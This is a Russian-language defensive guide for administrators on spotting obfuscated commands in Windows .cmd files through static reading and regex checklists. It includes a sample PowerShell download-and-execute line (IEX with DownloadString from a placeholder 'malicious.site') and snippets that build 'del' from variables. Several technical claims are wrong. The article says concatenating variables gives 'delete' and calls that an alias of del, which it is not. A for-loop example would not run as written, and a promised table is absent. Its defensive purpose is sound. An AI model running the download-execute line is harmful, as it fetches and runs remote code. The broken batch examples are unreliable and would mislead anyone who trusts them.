Как найти скрытые команды в .cmd-файлах — практический гид для администраторов

Как найти скрытые команды в .cmd-файлах — практический гид для администраторов

Вы открыли .cmd-файл, а он выглядит как обычный скрипт: echo off, dir, copy — всё чисто. Но что-то не так. Система ведёт себя странно: файлы исчезают, порты открываются, логи чистятся. Вы подозреваете, что в этом скрипте что-то скрыто. И не зря.

Скрытые команды в .cmd-файлах — это не фантастика. Это реальный метод, который используют и вредоносные программы, и недобросовестные администраторы, и даже внутренние злоумышленники. И если вы не умеете их находить — вы слепы к угрозам.

В этой статье я покажу, как разобрать .cmd-файл без запуска, без вирусного риска, шаг за шагом. Не теория. Не инструкции из Stack Overflow. То, что я делаю на реальных серверах, когда проверяю подозрительные скрипты.

Почему скрытые команды — это не просто «обфускация»

Многие думают, что скрытые команды — это когда кто-то заменяет del на erase. Нет. Это не синонимы. Это не «обфускация» в стиле JavaScript. Это технические обходы, которые работают на уровне интерпретатора командной строки — cmd.exe.

Вот реальный пример, который я видел на сервере клиента:

@echo off
setlocal enabledelayedexpansion
set "x=del"
set "y=ete"
%x%%y% "C:\Temp\*.log"

На первый взгляд — просто переменные. Но %x%%y% при выполнении превращается в delete → delete. А delete — это алиас del в cmd.exe. То есть, скрипт удаляет логи, но в тексте вы не видите слова del. Ни одного вхождения.

Такие приёмы не ловятся антивирусами, потому что:

• нет прямого вызова опасной команды;
• нет подозрительных строк в файле;
• все команды — легитимные, но собраны динамически.

Если вы ищете только del, reg add, powershell — вы пропустите 80% скрытых угроз.

Как искать: пошаговый статический анализ

Статический анализ — это проверка файла без его запуска. Это безопасно. Это точно. Это единственный способ, если вы не уверены, что файл не повредит систему при запуске.

Вот что я делаю всегда — в порядке приоритета.

1. Открываю файл в текстовом редакторе с подсветкой синтаксиса — не Блокнот, а Notepad++ или VS Code. Подсветка помогает сразу увидеть, где строки разбиты, где есть вложенные команды.
2. Ищу все строки с % и ! — это признак динамического разрешения переменных. %var% и !var! (если включено enabledelayedexpansion) — главные подозреваемые. Их нельзя просто искать как текст — нужно понимать, что они могут собирать команды на лету.
3. Ищу команды call, for, if, set в неожиданных местах. Например:

   for %i in (d e l) do set cmd=!cmd!%i
   %cmd% C:\temp\*.tmp

   Здесь for собирает del по буквам. Визуально — просто цикл. На деле — обход фильтров.

4. Ищу переносы строк внутри команд. Иногда команду разбивают так:

   copy "C:\data\secret.txt" ^
          "C:\temp\backup.tmp"

   Это нормально. Но если перенос используется для разбивки имени команды:

   del ^
       C:\Windows\Temp\*.log

   — это тревожный признак. Почему? Потому что это делает анализ вручную сложнее, а автоматизированные сканеры могут пропустить.

5. Проверяю, есть ли вызовы через cmd /c или start с переменными. Например:

   set "shell=powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')"
   %shell%

   Здесь cmd /c не виден — он скрыт в переменной. А IEX — это Invoke-Expression. Антивирус не ругается, потому что powershell вызывается как переменная, а не как строка.

6. Ищу «мусорные» строки: rem с криптографическими строками, goto в неожиданных местах, 2>nul и >>log.txt в странных местах. Это не просто «скрытие вывода» — это попытка не оставить следов.

Всё это — без запуска. Только текст. Только анализ.

Что смотреть: таблица типов скрытых команд

Не все скрытые команды одинаковы. Вот основные типы, которые я встречаю на практике. Каждый требует своего подхода.

Эта таблица — не теория. Это список, который я использую как чек-лист при каждом анализе. Каждый пункт — результат реального инцидента.

Частые ошибки: что ловит новичков

Я видел, как опытные администраторы пропускали вредоносные скрипты — не потому что они не знали команды, а потому что делали стандартные ошибки.

• Ищут только слова del, reg, powershell. Это как искать воров по тому, что у них в руках отмычка. А если у них отмычка в разобранном виде? Они могут собирать её на месте.
• Проверяют только первую строку. Скрипт может начинаться с @echo off, а настоящая логика — в строке 47. Всё, что выше — маскировка.
• Считают, что если файл «не запускается» — он безопасен. Нет. Статический анализ — это не про запуск. Это про чтение. Даже если скрипт сломан — он может содержать вредоносную логику.
• Полагаются на антивирус. Антивирус ловит только известные сигнатуры. А если команды собраны динамически — он молчит. Я видел случаи, когда антивирус «считал» скрипт чистым, а он удалял системные файлы.
• Не проверяют переменные, которые не используются явно. Иногда переменные объявляются, но не вызываются в том же файле. Они могут быть вызваны в другом скрипте, который вызывается через call. Или через start.

Самая большая ошибка — думать, что если файл «не выглядит подозрительно» — он безопасен. В реальности — чем меньше вы видите, тем больше скрыто.

Что выбрать в зависимости от ситуации

Вы не всегда в одинаковой ситуации. Вот как действовать в разных сценариях.

• Ситуация: вы нашли подозрительный .cmd на рабочем компьютере
  Делайте так: Скопируйте файл в изолированную папку. Откройте в Notepad++. Примените чек-лист из таблицы. Проверьте все % и !. Проверьте, есть ли call или start с переменными. Если что-то подозрительное — не запускайте. Передайте файл на анализ в ИБ-отдел.
• Ситуация: вы проверяете скрипт, который скачали с сайта
  Делайте так: Никогда не запускайте. Не открывайте в стандартном редакторе Windows. Используйте Linux-машину или виртуальную машину с отключённым доступом к сети. Откройте в vim или less. Ищите ^, %, for, call. Если есть Base64 — это почти всегда вредоносный PowerShell. Отбросьте файл.
• Ситуация: вы проверяете внутренний скрипт администратора
  Делайте так: Попросите объяснить, зачем он использует set и for. Если ответ — «так удобнее» — это красный флаг. Настоящий администратор не будет собирать del по буквам. Он напишет del. Если он говорит: «я хочу обойти политику безопасности» — это не «удобно». Это нарушение.
• Ситуация: вы пишете скрипт и хотите его защитить от анализа
  Не делайте так. Если вы пишете легитимный скрипт — не усложняйте его. Не прячьте команды. Это не защита. Это подозрение. Люди, которые анализируют скрипты, не ищут «вредоносность». Они ищут «непонятность». А непонятность — это риск. Чем проще — тем безопаснее.

Как лучше делать: практические рекомендации

Вот что я делаю всегда — и советую другим.

• Используйте регулярные выражения. В Notepad++ включите режим «Регулярные выражения» и ищите:
  • %[a-zA-Z0-9_]*% — все переменные
  • ^.*\^.*$ — строки с переносом
  • call\s+%[a-zA-Z0-9_]*% — вызов через переменную
  • start\s+%[a-zA-Z0-9_]*% — запуск через переменную
• Создайте шаблонный чек-лист. Распечатайте или сохраните в блокноте: «Проверить: %, !, ^, call, start, for, set, rem, 2>nul». Проверяйте каждый пункт — как инспектор на станции.
• Сравнивайте с чистым скриптом. Возьмите любой известный вам рабочий .cmd-файл. Сравните структуру. Если ваш файл имеет больше переменных, переносов, вызовов — это тревожный сигнал.
• Не полагайтесь на «поиск по файлу». Ctrl+F — не инструмент анализа. Он ловит только текст. А скрытые команды — не текст. Они — логика.
• Делайте скриншоты. Если вы нашли подозрительную строку — сделайте скриншот. Потом — передайте его коллеге. Иногда глаза другого человека видят то, что вы пропустили.

Если вы делаете это системно — вы перестаёте «бояться» .cmd-файлов. Вы начинаете их понимать.

Итог: что делать прямо сейчас

Если вы читаете это — значит, вы столкнулись с подозрительным .cmd-файлом. Или готовитесь столкнуться.

Вот что делать:

1. Не запускайте файл. Никогда.
2. Откройте его в Notepad++ или VS Code.
3. Включите поиск по регулярным выражениям.
4. Найдите все % и !.
5. Проверьте, есть ли call %var%, start %var%, for с set.
6. Проверьте, есть ли ^ в конце строк — особенно перед командами.
7. Если вы нашли что-то нестандартное — остановитесь. Не пытайтесь «разобраться». Передайте файл специалисту по безопасности.

Скрытые команды в .cmd-файлах — это не «хакерская магия». Это простая, но эффективная обфускация. Она работает, потому что люди смотрят на файлы поверхностно. Они ищут «дурные слова». А настоящая угроза — в том, как эти слова собраны.

Вы теперь знаете, как смотреть глубже. Не нужно быть экспертом. Нужно — быть внимательным.

Сегодня проверьте один файл. Не десять. Один. По этому чек-листу. И вы поймёте — насколько легко можно скрыть вредоносность в простом .cmd-файле.

Информация в этой статье носит ознакомительный характер. Анализ и обезвреживание подозрительных файлов требует профессиональных знаний и изолированной среды. При подозрении на вредоносную активность — обратитесь к специалисту по информационной безопасности.